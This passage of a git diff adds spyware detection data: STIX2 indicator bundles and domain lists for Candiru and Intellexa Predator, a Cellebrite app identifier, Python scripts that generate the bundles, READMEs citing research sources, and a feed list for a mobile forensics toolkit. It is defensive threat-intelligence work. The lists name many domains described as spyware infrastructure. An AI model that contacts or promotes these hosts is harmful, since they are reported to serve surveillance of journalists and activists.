"indicator--945862e7-67bf-4f51-866a-ab3a4d4abe8c", + "created": "2025-08-08T19:03:18.829097Z", + "modified": "2025-08-08T19:03:18.829097Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='selectedpazzle.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2025-08-08T19:03:18.829097Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--d8ffb480-2bae-4aa5-a504-c5e907e603ca", + "created": "2025-08-08T19:03:18.829378Z", + "modified": "2025-08-08T19:03:18.829378Z", + "relationship_type": "indicates", + "source_ref": "indicator--945862e7-67bf-4f51-866a-ab3a4d4abe8c", + "target_ref": "malware--8d79ec64-3dd4-485f-b6b7-e112ce818782" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--1200cb59-1a5e-435f-bb47-2b1868a4e045", + "created": "2025-08-08T19:03:18.829516Z", + "modified": "2025-08-08T19:03:18.829516Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='mushroompalm.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2025-08-08T19:03:18.829516Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--0a4a0ca6-5545-4537-9139-1fa8bc1c2b00", + "created": "2025-08-08T19:03:18.82983Z", + "modified": "2025-08-08T19:03:18.82983Z", + "relationship_type": "indicates", + "source_ref": "indicator--1200cb59-1a5e-435f-bb47-2b1868a4e045", + "target_ref": "malware--8d79ec64-3dd4-485f-b6b7-e112ce818782" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--4f938340-2651-40cf-baa6-da68376436f1", + "created": "2025-08-08T19:03:18.829945Z", + "modified": "2025-08-08T19:03:18.829945Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='sunsetpotential.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2025-08-08T19:03:18.829945Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--2fe69bd4-59fd-45e4-a158-35ed80017641", + "created": "2025-08-08T19:03:18.830237Z", + "modified": "2025-08-08T19:03:18.830237Z", + "relationship_type": "indicates", + "source_ref": "indicator--4f938340-2651-40cf-baa6-da68376436f1", + "target_ref": "malware--8d79ec64-3dd4-485f-b6b7-e112ce818782" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--6972c3f3-4d70-4cc2-aaba-0df5fa1e0016", + "created": "2025-08-08T19:03:18.830338Z", + "modified": "2025-08-08T19:03:18.830338Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='tidalscreen.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2025-08-08T19:03:18.830338Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--e4dbb20c-7680-4147-bce8-dea73c5e4f09", + "created": "2025-08-08T19:03:18.830624Z", + "modified": "2025-08-08T19:03:18.830624Z", + "relationship_type": "indicates", + "source_ref": "indicator--6972c3f3-4d70-4cc2-aaba-0df5fa1e0016", + "target_ref": "malware--8d79ec64-3dd4-485f-b6b7-e112ce818782" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--c08360c8-ba3c-4f9a-8a1a-f716bce4c39e", + "created": "2025-08-08T19:03:18.83074Z", + "modified": "2025-08-08T19:03:18.83074Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='forecastgarden.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2025-08-08T19:03:18.83074Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--ee3985f2-809b-42c2-a3b0-6a0bd6d774e8", + "created": "2025-08-08T19:03:18.831033Z", + "modified": "2025-08-08T19:03:18.831033Z", + "relationship_type": "indicates", + "source_ref": "indicator--c08360c8-ba3c-4f9a-8a1a-f716bce4c39e", + "target_ref": "malware--8d79ec64-3dd4-485f-b6b7-e112ce818782" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--42856f06-66b7-403a-8f96-04d301287b73", + "created": "2025-08-08T19:03:18.83113Z", + "modified": "2025-08-08T19:03:18.83113Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='notionnowadays.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2025-08-08T19:03:18.83113Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--f23c5087-5b6a-471f-9d67-b2c1ace37915", + "created": "2025-08-08T19:03:18.831417Z", + "modified": "2025-08-08T19:03:18.831417Z", + "relationship_type": "indicates", + "source_ref": "indicator--42856f06-66b7-403a-8f96-04d301287b73", + "target_ref": "malware--8d79ec64-3dd4-485f-b6b7-e112ce818782" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--39366463-8a8a-4512-afdc-1d62bd97f31e", + "created": "2025-08-08T19:03:18.831521Z", + "modified": "2025-08-08T19:03:18.831521Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='predictproper.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2025-08-08T19:03:18.831521Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--737bed53-4558-41d6-9668-07bb5d322112", + "created": "2025-08-08T19:03:18.831819Z", + "modified": "2025-08-08T19:03:18.831819Z", + "relationship_type": "indicates", + "source_ref": "indicator--39366463-8a8a-4512-afdc-1d62bd97f31e", + "target_ref": "malware--8d79ec64-3dd4-485f-b6b7-e112ce818782" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--d7d9b3f3-e504-434f-afed-a5fa84633d3c", + "created": "2025-08-08T19:03:18.831922Z", + "modified": "2025-08-08T19:03:18.831922Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='eulenformacion.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2025-08-08T19:03:18.831922Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--ffffff52-dcdc-49ba-8bb9-67f5bcaf4540", + "created": "2025-08-08T19:03:18.832386Z", + "modified": "2025-08-08T19:03:18.832386Z", + "relationship_type": "indicates", + "source_ref": "indicator--d7d9b3f3-e504-434f-afed-a5fa84633d3c", + "target_ref": "malware--8d79ec64-3dd4-485f-b6b7-e112ce818782" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--10540a83-4da8-4f73-b50c-011886839b96", + "created": "2025-08-08T19:03:18.832484Z", + "modified": "2025-08-08T19:03:18.832484Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='colorpallatess.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2025-08-08T19:03:18.832484Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--2834ae5b-5e8a-4af8-9824-a9ef1f2fd4df", + "created": "2025-08-08T19:03:18.832789Z", + "modified": "2025-08-08T19:03:18.832789Z", + "relationship_type": "indicates", + "source_ref": "indicator--10540a83-4da8-4f73-b50c-011886839b96", + "target_ref": "malware--8d79ec64-3dd4-485f-b6b7-e112ce818782" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--cb5f8b88-1c09-4e56-a28c-56610e419559", + "created": "2025-08-08T19:03:18.832891Z", + "modified": "2025-08-08T19:03:18.832891Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='lessonhandle.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2025-08-08T19:03:18.832891Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--b6b6141d-07d0-49de-812f-d7271f7f02df", + "created": "2025-08-08T19:03:18.833172Z", + "modified": "2025-08-08T19:03:18.833172Z", + "relationship_type": "indicates", + "source_ref": "indicator--cb5f8b88-1c09-4e56-a28c-56610e419559", + "target_ref": "malware--8d79ec64-3dd4-485f-b6b7-e112ce818782" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--621a22ae-bf1d-4154-b355-5b9d9069ec9e", + "created": "2025-08-08T19:03:18.833268Z", + "modified": "2025-08-08T19:03:18.833268Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='jellybat.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2025-08-08T19:03:18.833268Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--2bdb3434-ff28-4b86-af4c-223e8b674861", + "created": "2025-08-08T19:03:18.833558Z", + "modified": "2025-08-08T19:03:18.833558Z", + "relationship_type": "indicates", + "source_ref": "indicator--621a22ae-bf1d-4154-b355-5b9d9069ec9e", + "target_ref": "malware--8d79ec64-3dd4-485f-b6b7-e112ce818782" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--47187c1b-5fc7-4ce6-8a74-dd197f9436c6", + "created": "2025-08-08T19:03:18.833656Z", + "modified": "2025-08-08T19:03:18.833656Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='deducedefend.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2025-08-08T19:03:18.833656Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--07222866-00ff-4673-9376-515b836a2914", + "created": "2025-08-08T19:03:18.833952Z", + "modified": "2025-08-08T19:03:18.833952Z", + "relationship_type": "indicates", + "source_ref": "indicator--47187c1b-5fc7-4ce6-8a74-dd197f9436c6", + "target_ref": "malware--8d79ec64-3dd4-485f-b6b7-e112ce818782" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--cd6a9e2e-94d6-4086-8b7b-44ca3c0be19b", + "created": "2025-08-08T19:03:18.834052Z", + "modified": "2025-08-08T19:03:18.834052Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='commonclever.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2025-08-08T19:03:18.834052Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--aad9b5f6-fdee-4391-9dbd-7d8763184387", + "created": "2025-08-08T19:03:18.834329Z", + "modified": "2025-08-08T19:03:18.834329Z", + "relationship_type": "indicates", + "source_ref": "indicator--cd6a9e2e-94d6-4086-8b7b-44ca3c0be19b", + "target_ref": "malware--8d79ec64-3dd4-485f-b6b7-e112ce818782" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--ee6424e1-aae8-4cb0-94a7-26854713f931", + "created": "2025-08-08T19:03:18.834423Z", + "modified": "2025-08-08T19:03:18.834423Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='exhibitexpanse.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2025-08-08T19:03:18.834423Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--14bbeec1-0024-492a-bcc2-a60ec403a8db", + "created": "2025-08-08T19:03:18.83473Z", + "modified": "2025-08-08T19:03:18.83473Z", + "relationship_type": "indicates", + "source_ref": "indicator--ee6424e1-aae8-4cb0-94a7-26854713f931", + "target_ref": "malware--8d79ec64-3dd4-485f-b6b7-e112ce818782" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--b6cf1242-26bf-40e0-a500-ed7c78b037b4", + "created": "2025-08-08T19:03:18.834831Z", + "modified": "2025-08-08T19:03:18.834831Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='strangegarden.org']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2025-08-08T19:03:18.834831Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--324fe087-ac7c-414e-8207-549b364257d8", + "created": "2025-08-08T19:03:18.83511Z", + "modified": "2025-08-08T19:03:18.83511Z", + "relationship_type": "indicates", + "source_ref": "indicator--b6cf1242-26bf-40e0-a500-ed7c78b037b4", + "target_ref": "malware--8d79ec64-3dd4-485f-b6b7-e112ce818782" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--d426d3a5-7152-4f02-baf9-582b9ede0006", + "created": "2025-08-08T19:03:18.835211Z", + "modified": "2025-08-08T19:03:18.835211Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='basinapposite.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2025-08-08T19:03:18.835211Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--4dd789a0-53ec-4862-b111-57221f98ed50", + "created": "2025-08-08T19:03:18.835542Z", + "modified": "2025-08-08T19:03:18.835542Z", + "relationship_type": "indicates", + "source_ref": "indicator--d426d3a5-7152-4f02-baf9-582b9ede0006", + "target_ref": "malware--8d79ec64-3dd4-485f-b6b7-e112ce818782" + } + ] +} \ No newline at end of file diff --git a/data/ioc/spyware/mvt/candiru/domains.txt b/data/ioc/spyware/mvt/candiru/domains.txt new file mode 100644 index 0000000..c7c90e6 --- /dev/null +++ b/data/ioc/spyware/mvt/candiru/domains.txt @@ -0,0 +1,125 @@ +ambiguouscommerce.com +antperspective.com +aperturebelt.com +asknapkin.com +barnsecret.com +baseagriculture.com +basicstraw.com +basinapposite.com +beneathbreadth.com +bizarreclassify.com +blockroster.net +bondmuscle.com +breadgroomer.com +bronzemonth.com +browniebell.com +bypassbirch.com +bypasscalculate.com +bypasscommerce.com +calmbase.org +cartoondrop.net +chickenstrawberry.com +citecivilization.com +closetmeat.com +commonclever.com +concretebottle.com +conquerconfess.com +containsnow.com +contradictionblindness.com +convincechaotic.com +cooperatedisinfect.net +cottonbread.com +cranberrybear.com +cropcritique.com +crossoverdue.com +damageconsider.com +deardrill.com +dediccatedconsideration.com +deducedefend.com +deliverconcern.net +densefoot.com +desireeclipse.com +detaincharity.net +deterdiffusion.com +devotionbelief.com +distractionfar.com +drivesplash.com +drummerjourney.com +dumplingbell.com +electric-prime.com +elifluousscintillam.com +eminententwine.com +exhibitexpanse.com +fallaciousessential.net +fearevolve.com +fileswaper.com +finalsalami.com +flexibleelevator.com +foamdirection.com +forecastgarden.com +goatsandals.com +golfconcert.com +groundbreakinginitative.com +guitarcalculate.com +hostilefauna.com +isolatelecture.com +jellybat.net +jobmarcher.com +journeyjest.net +kartingrumble.com +labyrinthextravagance.org +leafconfuse.net +lessonhandle.com +macrodrop.net +macromint.net +maturitygenesis.com +measurecabin.com +mushroompalm.com +notableexam.org +notionnowadays.com +outdooutcome.com +parkourbus.com +patternperiod.com +penslice.com +pepperdominate.com +prawnbasket.com +predictproper.com +pressaviation.com +profligatecensure.com +rollstrech.com +romancedrum.com +sacrificeprincipal.net +salmonpride.net +scoreparade.com +selectedpazzle.com +shareitwork.com +signifyslight.com +spongefruit.com +stablesurface.com +strangegarden.org +stylebrakedown.com +suggestutterly.com +sunsetpotential.com +tacticscheap.net +tidalscreen.com +tubeshape.com +ultimatematter.info +velvetpremier.com +windomination.com +noc-service-streamer.com +fbcdnads.live +hilocake.info +backxercise.com +winmslaf.xyz +service-deamon.com +online-affiliate-mon.com +codeingasmylife.com +kenoratravels.com +weathercheck.digital +colorpallatess.com +library-update.com +online-source-validate.com +grayhornet.com +johnshopkin.net +eulenformacion.com +pochtarossiy.info diff --git a/data/ioc/spyware/mvt/candiru/generate_stix.py b/data/ioc/spyware/mvt/candiru/generate_stix.py new file mode 100644 index 0000000..c929f85 --- /dev/null +++ b/data/ioc/spyware/mvt/candiru/generate_stix.py @@ -0,0 +1,26 @@ +import sys +import os +from stix2.v21 import (Indicator, Malware, Relationship, Bundle, DomainName) + + +if __name__ == "__main__": + malware_name = "Candiru" + stix_name = "candiru.stix2" + if os.path.isfile(stix_name): + os.remove(stix_name) + + with open("domains.txt") as f: + domains = list(set([a.strip() for a in f.read().split()])) + + res = [] + malware = Malware(name=malware_name, is_family=False, description="IOCs related to Candiru's DevilsTongue.") + res.append(malware) + for d in domains: + i = Indicator(indicator_types=["malicious-activity"], pattern="[domain-name:value='{}']".format(d), pattern_type="stix") + res.append(i) + res.append(Relationship(i, 'indicates', malware)) + + bundle = Bundle(objects=res) + with open(stix_name, "w+") as f: + f.write(bundle.serialize(indent=4)) + print("{} file created".format(stix_name)) diff --git a/data/ioc/spyware/mvt/cellebrite/README.md b/data/ioc/spyware/mvt/cellebrite/README.md new file mode 100644 index 0000000..6f31491 --- /dev/null +++ b/data/ioc/spyware/mvt/cellebrite/README.md @@ -0,0 +1,6 @@ +# Cellebrite + +Indicators of compromise to detect Cellebrite on Android. + +Sources: +* [From Protest to Peril - Cellebrite Used Against Jordanian Civil Society](https://citizenlab.ca/research/from-protest-to-peril-cellebrite-used-against-jordanian-civil-society/) diff --git a/data/ioc/spyware/mvt/cellebrite/cellebrite.stix2 b/data/ioc/spyware/mvt/cellebrite/cellebrite.stix2 new file mode 100644 index 0000000..c4938bd --- /dev/null +++ b/data/ioc/spyware/mvt/cellebrite/cellebrite.stix2 @@ -0,0 +1,40 @@ +{ + "type": "bundle", + "id": "bundle--ce7cc5a8-fa53-4ff4-841b-cf526f3c8b07", + "objects": [ + { + "type": "malware", + "spec_version": "2.1", + "id": "malware--afe324d5-5d65-4060-92f9-98a5012557d0", + "created": "2026-01-22T21:58:55.050482Z", + "modified": "2026-01-22T21:58:55.050482Z", + "name": "Cellebrite", + "description": "IOCs for Cellebrite", + "is_family": false + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--55319823-913e-4283-9454-156ef3bd285c", + "created": "2026-01-22T21:58:55.051167Z", + "modified": "2026-01-22T21:58:55.051167Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[app:id='com.client.appA']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2026-01-22T21:58:55.051167Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--2abc42e6-3375-4bd3-a746-6199e8af5ce8", + "created": "2026-01-22T21:58:55.063505Z", + "modified": "2026-01-22T21:58:55.063505Z", + "relationship_type": "indicates", + "source_ref": "indicator--55319823-913e-4283-9454-156ef3bd285c", + "target_ref": "malware--afe324d5-5d65-4060-92f9-98a5012557d0" + } + ] +} \ No newline at end of file diff --git a/data/ioc/spyware/mvt/cellebrite/generate_stix.py b/data/ioc/spyware/mvt/cellebrite/generate_stix.py new file mode 100644 index 0000000..659e693 --- /dev/null +++ b/data/ioc/spyware/mvt/cellebrite/generate_stix.py @@ -0,0 +1,38 @@ +import sys +import os +from stix2.v21 import (Indicator, Malware, Relationship, Bundle) + + +from stix2 import CustomObservable + +def hash_format(hash): + if len(hash) == 32: + return "md5" + elif len(hash) == 40: + return "sha1" + elif len(hash) == 64: + return "sha256" + else: + return None + +if __name__ == "__main__": + malware_name = "Cellebrite" + stix2_file_name = "cellebrite.stix2" + if os.path.isfile(stix2_file_name): + os.remove(stix2_file_name) + + with open("package_names.txt") as f: + package_names = list(set([a.strip() for a in f.read().split()])) + + res = [] + malware = Malware(name=malware_name, is_family=False, description="IOCs for Cellebrite") + res.append(malware) + for package_name in package_names: + i = Indicator(indicator_types=["malicious-activity"], pattern="[app:id='{}']".format(package_name), pattern_type="stix") + res.append(i) + res.append(Relationship(i, 'indicates', malware)) + + bundle = Bundle(objects=res) + with open(stix2_file_name, "w+") as f: + f.write(bundle.serialize(pretty=True, indent=4)) + print("{} file created".format(stix2_file_name)) diff --git a/data/ioc/spyware/mvt/cellebrite/package_names.txt b/data/ioc/spyware/mvt/cellebrite/package_names.txt new file mode 100644 index 0000000..89cc762 --- /dev/null +++ b/data/ioc/spyware/mvt/cellebrite/package_names.txt @@ -0,0 +1 @@ +com.client.appA diff --git a/data/ioc/spyware/mvt/indicators.yaml b/data/ioc/spyware/mvt/indicators.yaml new file mode 100644 index 0000000..5e1dd0c --- /dev/null +++ b/data/ioc/spyware/mvt/indicators.yaml @@ -0,0 +1,188 @@ +indicators: + - + type: github + name: NSO Group Pegasus Indicators of Compromise + sources: + - Amnesty International + references: + - https://www.amnesty.org/en/latest/research/2021/07/forensic-methodology-report-how-to-catch-nso-groups-pegasus/ + github: + owner: AmnestyTech + repo: investigations + branch: master + path: 2021-07-18_nso/pegasus.stix2 + + - + type: github + name: Predator Spyware Indicators of Compromise + sources: + - Meta + - Amnesty International + - Citizen Lab + - Cisco + - Inside Story + - iVerify + references: + - https://citizenlab.ca/2021/12/pegasus-vs-predator-dissidents-doubly-infected-iphone-reveals-cytrox-mercenary-spyware/ + - https://about.fb.com/news/2021/12/taking-action-against-surveillance-for-hire/ + - https://blog.talosintelligence.com/mercenary-intellexa-predator/ + - https://citizenlab.ca/2023/09/predator-in-the-wires-ahmed-eltantawy-targeted-with-predator-spyware-after-announcing-presidential-ambitions/ + - https://insidestory.gr/article/predatorgate-ti-egrafan-ta-sms-pagida-poy-elavan-epiheirimaties-ypoyrgoi-kai-dimosiografoi + - https://iverify.io/blog/trust-broken-at-the-core + github: + owner: mvt-project + repo: mvt-indicators + branch: main + path: intellexa_predator/predator.stix2 + + - + type: github + name: RCS Lab Spyware Indicators of Compromise + sources: + - Google + - Lookout + references: + - https://blog.google/threat-analysis-group/italian-spyware-vendor-targets-users-in-italy-and-kazakhstan/ + github: + owner: mvt-project + repo: mvt-indicators + branch: main + path: 2022-06-23_rcs_lab/rcs.stix2 + + - + type: github + name: Stalkerware Indicators of Compromise + sources: + - ECHAP + references: + - https://github.com/AssoEchap/stalkerware-indicators + github: + owner: AssoEchap + repo: stalkerware-indicators + branch: master + path: generated/stalkerware.stix2 + + - + type: github + name: Surveillance campaign linked to mercenary spyware company + sources: + - Amnesty International + - Google + references: + - https://blog.google/threat-analysis-group/spyware-vendors-use-0-days-and-n-days-against-popular-platforms/ + - https://www.amnesty.org/en/latest/news/2023/03/new-android-hacking-campaign-linked-to-mercenary-spyware-company/ + github: + owner: AmnestyTech + repo: investigations + branch: master + path: 2023-03-29_android_campaign/malware.stix2 + + - + type: github + name: Quadream KingSpawn Indicators of Compromise + sources: + - Citizen Lab + - Microsoft + references: + - https://citizenlab.ca/2023/04/spyware-vendor-quadream-exploits-victims-customers/ + - https://www.microsoft.com/en-us/security/blog/2023/04/11/dev-0196-quadreams-kingspawn-malware-used-to-target-civil-society-in-europe-north-america-the-middle-east-and-southeast-asia/ + github: + owner: mvt-project + repo: mvt-indicators + branch: main + path: 2023-04-11_quadream/kingspawn.stix2 + + - + type: github + name: Operation Triangulation Indicators of Compromise + sources: + - Kaspersky Lab + references: + - https://securelist.com/operation-triangulation/109842/ + github: + owner: mvt-project + repo: mvt-indicators + branch: main + path: 2023-06_01_operation_triangulation/operation_triangulation.stix2 + + - + type: github + name: WyrmSpy and DragonEgg Indicators of Compromise + sources: + - Lookout + references: + - https://www.lookout.com/threat-intelligence/article/wyrmspy-dragonegg-surveillanceware-apt41 + github: + owner: mvt-project + repo: mvt-indicators + branch: main + path: 2023-07-25_wyrmspy_dragonegg/wyrmspy_dragonegg.stix2 + + - + type: github + name: Wintego Helios Indicators of Compromise + sources: + - Amnesty International + references: + - https://securitylab.amnesty.org/latest/2024/05/a-web-of-surveillance/ + github: + owner: AmnestyTech + repo: investigations + branch: master + path: 2024-05-02_wintego_helios/wintego_helios.stix2 + + - + type: github + name: NoviSpy (Serbia) Indicators of Compromise + sources: + - Amnesty International + references: + - https://securitylab.amnesty.org/latest/2024/12/serbia-a-digital-prison-spyware-and-cellebrite-used-on-journalists-and-activists/ + github: + owner: AmnestyTech + repo: investigations + branch: master + path: 2024-12-16_serbia_novispy/novispy.stix2 + + - + type: github + name: Candiru (DevilsTongue) Indicators of Compromise + sources: + - Microsoft + - Recorded Future + references: + - https://www.microsoft.com/en-us/security/blog/2021/07/15/protecting-customers-from-a-private-sector-offensive-actor-using-0-day-exploits-and-devilstongue-malware/ + - https://www.recordedfuture.com/research/tracking-candirus-devilstongue-spyware + github: + owner: mvt-project + repo: mvt-indicators + branch: main + path: candiru/candiru.stix2 + + - + type: github + name: ResidentBat Indicators of Compromise + sources: + - Reporters Without Borders + - RESIDENT.NGO + references: + - https://rsf.org/en/exclusive-rsf-uncovers-new-spyware-belarus + - https://rsf.org/sites/default/files/medias/file/2025/12/report.pdf + github: + owner: mvt-project + repo: mvt-indicators + branch: main + path: ResidentBat/residentbat.stix2 + + - + type: github + name: Cellebrite Indicators of Compromise + sources: + - Citizen Lab + references: + - https://citizenlab.ca/research/from-protest-to-peril-cellebrite-used-against-jordanian-civil-society/ + github: + owner: mvt-project + repo: mvt-indicators + branch: main + path: cellebrite/cellebrite.stix2 diff --git a/data/ioc/spyware/mvt/intellexa_predator/README.md b/data/ioc/spyware/mvt/intellexa_predator/README.md new file mode 100644 index 0000000..823aa70 --- /dev/null +++ b/data/ioc/spyware/mvt/intellexa_predator/README.md @@ -0,0 +1,22 @@ +# Predator Spyware Indicators of Compromise + +This repository contains network and device indicators of compromised (IoCs) related to the IOS and Android Predator spyware tools developed by the cyber-surveillance company Intellexa (formerly Cytrox). These indicators were extracted from multiple reports including: + +* [Threat Report on the Surveillance-for-Hire Industry](https://about.fb.com/news/2021/12/taking-action-against-surveillance-for-hire/) by Meta +* ["Pegasus vs. Predator - Dissident’s Doubly-Infected iPhone Reveals Cytrox Mercenary Spyware"](https://citizenlab.ca/2021/12/pegasus-vs-predator-dissidents-doubly-infected-iphone-reveals-cytrox-mercenary-spyware/) report by the Citizen Lab +* ["Predator in the wires - Ahmed Eltantawy Targeted with Predator Spyware After Announcing Presidential Ambitions"](https://citizenlab.ca/2023/09/predator-in-the-wires-ahmed-eltantawy-targeted-with-predator-spyware-after-announcing-presidential-ambitions/) report by the Citizen Lab +* [Mercenary mayhem: A technical analysis of Intellexa's PREDATOR spyware](https://blog.talosintelligence.com/mercenary-intellexa-predator/) by Cisco Talos +* [Predatorgate: Τι έγραφαν τα SMS-παγίδα που έλαβαν επιχειρηματίες, υπουργοί και δημοσιογράφοι](https://insidestory.gr/article/predatorgate-ti-egrafan-ta-sms-pagida-poy-elavan-epiheirimaties-ypoyrgoi-kai-dimosiografoi) by Inside Story +* [Active Lycantrox infrastructure illumination](https://blog.sekoia.io/active-lycantrox-infrastructure-illumination/) by Sekoia +* [Predator Spyware Operators Rebuild Multi-Tier Infrastructure to Target Mobile Devices](https://www.recordedfuture.com/predator-spyware-operators-rebuild-multi-tier-infrastructure-target-mobile-devices) by Recorded Future +* [The Predator spyware ecosystem is not dead](https://blog.sekoia.io/the-predator-spyware-ecosystem-is-not-dead/) by Sekoia +* [Trust Broken at the Core](https://iverify.io/blog/trust-broken-at-the-core) by iVerify +* Additional indicators of compromise were identified by the Amnesty Tech Security Lab as part of an independent investigation. + +The STIX2 file can be used with the [Mobile Verification Toolkit](https://github.com/mvt-project/mvt) to look for potential signs of compromise on Android phones and iPhones. + +It includes the following files: +* `config_profiles.txt`: UUID of suspicious configuration profiles dropped by the Predator spyware +* `predator.stix2`: [STIX2](https://oasis-open.github.io/cti-documentation/stix/intro.html) file containing all indicators +* `domains.txt`: list of Predator domains +* `file_paths.txt`: file paths for Predator payloads on disk in Android and iOS. diff --git a/data/ioc/spyware/mvt/intellexa_predator/config_profiles.txt b/data/ioc/spyware/mvt/intellexa_predator/config_profiles.txt new file mode 100644 index 0000000..083082a --- /dev/null +++ b/data/ioc/spyware/mvt/intellexa_predator/config_profiles.txt @@ -0,0 +1 @@ +76DAB334-7E17-475D-A5D6-0794EB5818A5 diff --git a/data/ioc/spyware/mvt/intellexa_predator/domains.txt b/data/ioc/spyware/mvt/intellexa_predator/domains.txt new file mode 100644 index 0000000..32e2b2f --- /dev/null +++ b/data/ioc/spyware/mvt/intellexa_predator/domains.txt @@ -0,0 +1,569 @@ +02s.co +06g.co +09a.co +2-gis.kz +2y4nothing.xyz +5m5.io +9o.gg +actualite.emergence-mada.com +actumali.org +addons.news +adenuncia.com +adibjan.net +adservices.gr.com +adultpcz.xyz +advertsservices.com +advfb.xyz +affise.app +africa-confidentiel.fr +afrinew.net +air-shopping.net +allafrika.live +almal-news.com +almasryelyuom.com +almasrylayoum.com +alpineai.uk +alraeeenews.com +alraeesnews.net +altsantiri.news +amazing.lab +ancienthistory.xyz +android-apps.tech +angop.co +aoatlasescort.com +api-apple-buy.com +api-telecommunication.com +applepps.com +apps-ios.net +aramexegypt.com +astanapark.com +atheere.com +audit-pvv.com +bank-alahly.com +bbcsworld.com +bbitly.com +beroxe.com +bestwesternt.com +betly.me +bit-li.com +bitlinkin.xyz +bit-li.ws +bitlly.live +bi.tly.gr.com +bi.tly.link +bit-ly.link +bit-ly.org +bitlyrs.com +bitshort.info +bitt.fi +bityl.me +bity.ws +blacktrail.xyz +blitzmedia.live +blocoinformativo.com +bmw.gr.com +bni-madagascar.com +bookjob.club +breaknews.live +brkorage.live +browsercheck.services +btlin.life +buildneeds.net +bulk-ads.com +bumabara.bid +burgerprince.us +businesnews.net +businessafricaonline.org +bw-guardian.com +cabinet-salyk.kz +candidaturasminfin.info +candidaturassonangol.info +canyouc.xyz +carrefourmisr.com +cbbc01.xyz +c.betly.me +celebrnewz.xyz +cellconn.net +centent-management.net +charmander.xyz +chat-support.support +chatwithme.store +cibeg.online +citroen.gr.com +ckforward.one +clazc.com +clckbck.com +clcti.net +clockupdate.com +cloudstatistics.net +cloudtimesync.com +clubs-k.com +cnn.gr.com +cnn-portugal.com +coazoa.com +conlnk.one +connectivitychecker.com +connectivitycheck.live +connectivitycheck.online +conodeti.com +contents-domain.com +copy-note.net +corporatebusinesssolution.net +correiosdeangola.info +cosmote.center +covid19masks.shop +crashonline.site +culniks.info +cut.red +cyber.country +danas.bid +dealstransfer.net +despachantonline.com +despachosnegocios +dhll.live +distedc.com +download4you.xyz +dragonair.xyz +dw-news.co +dzhabarzan.com +eagerfox.xyz 